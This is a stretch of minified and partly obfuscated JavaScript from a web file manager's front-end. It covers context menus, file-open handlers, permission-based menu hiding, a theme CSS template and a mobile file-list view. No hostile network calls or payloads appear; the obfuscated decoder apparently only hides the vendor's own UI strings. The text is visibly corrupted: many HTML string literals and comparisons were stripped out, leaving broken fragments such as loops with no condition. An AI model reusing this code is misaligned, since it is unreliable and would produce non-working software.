nu':_0x4c794c}),_0x5d7688['find']('li.'+_0x485b5f)['data']({'contextMenuRoot':e,'contextMenuKey':_0x485b5f,'contextMenu':_0x4c794c}),_0x4c794c[_kod_0x46d5('0xa6','a0nd')]||(_0x4c794c['items']={}),_0x4c794c[_kod_0x46d5('0x59','CpJI')][_0x485b5f]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x5d7688[_kod_0x46d5('0xa7','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xa8',')Cl!')],_0x485b5f))},i(_0x4c794c,f[_kod_0x46d5('0xa9','gz7W')],'.'+_0x485b5f);}}},$[_kod_0x46d5('0x8b',')Zq2')][_kod_0x46d5('0xaa','A[bK')]=function(_0x4f4d3b,_0x34c69d){$[_kod_0x46d5('0xab','Yv8t')][_kod_0x46d5('0xac','ZBag')](_0x4f4d3b,_0x34c69d,_kod_0x46d5('0xad','#I7Z'),!0x1);},$[_kod_0x46d5('0xae','L)pg')][_kod_0x46d5('0xaf','8JG7')]=function(_0x37f252,_0x3cf34c){$[_kod_0x46d5('0x34',')Cl!')]['menuItemClass'](_0x37f252,_0x3cf34c,_0x326a5b[_kod_0x46d5('0xb0','Ghlq')],!0x0);},$[_kod_0x46d5('0xb1','@*22')][_kod_0x46d5('0xb2','5$Bm')]=function(_0x5e37e5,_0x6637a8){if('wUupW'!==_0x326a5b[_kod_0x46d5('0xb3',')T(f')]){var _0x142712=_0x6637a8[_kod_0x46d5('0xb4','tepW')],_0x3b925e=_kod_0x46d5('0xb5',']y0&');_0x142712[_kod_0x46d5('0xb6','!BFl')](_kod_0x46d5('0xb7','W[*g'))[_kod_0x46d5('0xb8','tepW')](_0x3b925e),Hook[_kod_0x46d5('0xb9','tepW')](_0x326a5b[_kod_0x46d5('0xba','#bfE')],_0x6637a8[_kod_0x46d5('0xbb','@*22')],_0x5e37e5,_0x142712),Hook[_kod_0x46d5('0xbc','Tg#C')](_0x326a5b['FaoBi'](_0x326a5b[_kod_0x46d5('0xbd','FeGc')],_0x6637a8[_kod_0x46d5('0x4f','CpJI')]),_0x5e37e5,_0x142712);}else{$[_kod_0x46d5('0x34',')Cl!')][_kod_0x46d5('0xbe','OfMJ')](_0x5e37e5,_0x6637a8,_kod_0x46d5('0xbf','&Tiv'),!0x1);}},$['contextMenu']['menuItemRemove']=function(_0x4050d6,_0x4769bc){var _0x49c3dd=$[_kod_0x46d5('0xc0','o$)d')]['menuItem'](_0x4050d6,_0x4769bc);_0x49c3dd&&_0x49c3dd[_kod_0x46d5('0xc1','(i@T')]();},$[_kod_0x46d5('0xc2','(i@T')][_kod_0x46d5('0xc3','jcUX')]=function(_0x30fcdf,_0x4ec4c4,_0x2a10cb,_0x44a4a6){var _0xece64d=!0x1,_0x362bce=$['contextMenu'][_kod_0x46d5('0xc4','&q8#')];for(var _0x2b0111 in _0x362bce)if(_0x362bce[_0x2b0111][_kod_0x46d5('0xc5','#bfE')]==_0x4ec4c4){_0xece64d=_0x362bce[_0x2b0111];break;}if(_0xece64d&&_0x30fcdf){var _0x439d97=function(_0x3bff80){return _0x3bff80?-0x1!==_0x3bff80[_kod_0x46d5('0xc6','(i@T')]('/')?_kod_0x46d5('0xc7','J]Hl')+_0x3bff80+_kod_0x46d5('0xc8','tepW'):_0x326a5b[_kod_0x46d5('0xc9','!BFl')](_kod_0x46d5('0xca','Tg#C')+_0x3bff80,_0x326a5b[_kod_0x46d5('0xcb','L)pg')]):'';},_0x1ea789=function(_0x592497,_0x241dd9,_0x4792f6,_0x5ade5d){var _0x48d85e={};_0x48d85e[_kod_0x46d5('0xcc','FeGc')]=function(_0x25c209,_0x74859d){return _0x25c209+_0x74859d;};_0x48d85e[_kod_0x46d5('0xcd','@*22')]=function(_0x5afc13,_0x29a1aa){return _0x326a5b.vHrHH(_0x5afc13,_0x29a1aa);};_0x48d85e[_kod_0x46d5('0xce',')Zq2')]='\x20context-menu-separator\x20not-selectable\x22>';_0x48d85e['gbnoM']=_kod_0x46d5('0xcf','@*22');_0x48d85e[_kod_0x46d5('0xd0','CpJI')]=function(_0x4a0c53,_0x3fb2b0){return _0x4a0c53+_0x3fb2b0;};_0x48d85e[_kod_0x46d5('0xd1','8JG7')]=_0x326a5b.Cngaj;_0x48d85e[_kod_0x46d5('0xd2','tepW')]='\x22>\x09\x09\x09\x09\x09\x09=0x0;_0x1a2790--)_0x2b0111[_0x362bce[_0x1a2790][_kod_0x46d5('0xd7','J]Hl')]]=_0x362bce[_0x1a2790][_kod_0x46d5('0xd8','coI9')];}else _0x2b0111=_0x241dd9;$[_kod_0x46d5('0xd9','(i@T')](_0x2b0111,function(_0x464188,_0x539b1c){_0x539b1c[_kod_0x46d5('0xda',']y0&')]=_0x539b1c[_kod_0x46d5('0xdb','&Tiv')]||'';var _0x2b0111=_0x48d85e['aSDHh'](_0x48d85e[_kod_0x46d5('0xdc','(i@T')](_0x464188,'\x20'),_0x539b1c[_kod_0x46d5('0xdd','Tg#C')]);if(_0x48d85e[_kod_0x46d5('0xde','(i@T')]('string',typeof _0x539b1c))var _0x336e55=_kod_0x46d5('0xdf','Svi#')+_0x2b0111+_0x48d85e[_kod_0x46d5('0xe0','(26G')];else{var _0x1a2790=_0x539b1c[_kod_0x46d5('0xe1','8JG7')];_0x539b1c['accesskey']&&(_0x1a2790+=_kod_0x46d5('0xe2','E[tg')+_0x539b1c[_kod_0x46d5('0xe3','6D#W')]+'
        )');var _0x336e55=_kod_0x46d5('0xe4','a0nd')+_0x2b0111+'\x22>'+_0x439d97(_0x539b1c[_kod_0x46d5('0x7b','a0nd')])+_kod_0x46d5('0xe5',')Cl!')+_0x1a2790+_kod_0x46d5('0xe6','srTF');}var _0x222928=$(_0x336e55)['clone'](),_0x1b2400=_0x4792f6||_0x5ade5d,_0x1bc473=_0x592497['$menu']['find'](_0x1b2400)['first']();_0x48d85e[_kod_0x46d5('0xe7','KaAL')](0x0,_0x1bc473[_kod_0x46d5('0x5b','$zeB')])&&_0x592497['commands'][_0x1b2400]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xe8','Tg#C')][_0x1b2400]['$node']),0x0==_0x1bc473[_kod_0x46d5('0xe9','TbL]')]&&(_0x1bc473=_0x592497[_kod_0x46d5('0xea','Ghlq')][_kod_0x46d5('0xeb','ZNFv')]()[_kod_0x46d5('0xec','a0nd')]()),_0x4792f6?_0x1bc473[_kod_0x46d5('0xed','ZBag')](_0x222928):_0x5ade5d&&_0x1bc473['before'](_0x222928);var _0x399c49=_0x222928[_kod_0x46d5('0x88','Svi#')](_kod_0x46d5('0x89','Yv8t'))['data'](_kod_0x46d5('0x5d','ZNFv'));_0x222928[_kod_0x46d5('0xee','TbL]')]({'contextMenu':_0x399c49,'contextMenuKey':_0x464188,'contextMenuRoot':_0xece64d});var _0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
        '+LNG.unknow_file_tips+"
        "+b+'
        1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
        2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
        3.'+h+f+'">'+LNG.unknow_file_download+'
        '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
        ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/src/explorerWap/ui",["./tpl/list.html"],function(a,b){var c=a("./tpl/list.html"),d=function(){var a=$(".bodymain");a.find(".lazyload-ready").lazyload({effect:"fadeIn",placeholder:G.staticPath+"images/common/loading_tree.gif",container:a,load:function(a,b){$(this).removeClass("lazyload-ready")}}),f(),Hook.trigger("explorer.path.ajaxLive")},e=function(a,b){var b="down"==b?-1:1;return function(c,d){return c=c[a],d=d[a],d>c?-1*b:c>d?1*b:void 0}},f=function(){$(".file-continer .flex-empty").remove();for(var a="",b=0;10>b;b++)a+='
        ';$(a).appendTo(".file-continer")},g=function(a){template.helper("fileIconMake",h);for(var b=template.compile(c),e="",f=G.jsonData.folderList.concat(G.jsonData.fileList),g=0;g'+LNG.path_null+""),e+="
        ",a?$(Config.FileBoxSelector).hide().html(e).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(e);var k=$(Config.FileBoxClass).not(".systemBox");$('
        ').appendTo(k),$(Config.FileBoxSelector+" .file:nth-child(2n)").addClass("file2"),d()},h=function(a,b,c){var d="icon"!=b,e=htmlEncode(urlEncode(c.ext));if("folder"==a){var f=Hook.trigger("explorer.list.folderThumb",c.path,e);return"string"==$.type(f)?f:(a=c.ext||a,core.icon(a,d))}var f=Hook.trigger("explorer.list.fileThumb",c.path,e,c);if("string"==$.type(f))return f;if(inArray(["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],e)){var g=G.appHost+"explorer/image";return G.sid&&(g=G.appHost+"share/image&user="+G.user+"&sid="+G.sid),g+="&time="+strtotime(c.mtime)+"&path=","
        "}if("app_link"==c.type){var h=core.icon("folder");0==c.content.search("ui.path.open")?h=core.icon(core.pathExt(c.name.replace(".oexe",""))):0==c.content.search("ui.path.list")&&(h=core.icon(c.icon));var i="
        "+h+"
        ";return i+""}if(c.icon&&"oexe"==e){var j=c.icon;return"string"==$.type(c.icon)&&-1==c.icon.search(G.staticPath)&&"http"!=c.icon.substring(0,4)&&(j=G.staticPath+"images/file_icon/icon_app/"+c.icon),"
        "+core.iconSrc(j)+"
        "}return"
        "+core.icon(e,d)+"
        "},i=function(a,b,c){var d=G.appHost+"explorer/pathList&path="+urlEncode(G.thisPath);G.user&&(d=G.appHost+"share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(G.thisPath)),void 0==a&&(a=!0),void 0==b&&(b=!1),a?$.ajax({url:d,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(100)},success:function(a){return $(".tools-left .msg").fadeOut(100),a.code?(G.jsonData=k(a.data),g(b),q(),void ui.header.addressSet()):(Tips.tips(a),$(Config.FileBoxSelector).html(""),!1)},error:function(a,b,c){$(".tools-left .msg").fadeOut(100),$(Config.FileBoxSelector).html(""),core.ajaxError(a,b,c)}}):(g(b),q())},j=function(a){i(!0,!1,a)},k=function(a){a=l(a);var b=a.folderList,c=a.fileList;return b=b.sort(e("name","up")),c=c.sort(e("name","up")),a.folderList=b,a.fileList=c,a},l=function(a){if(!a)return a;if(void 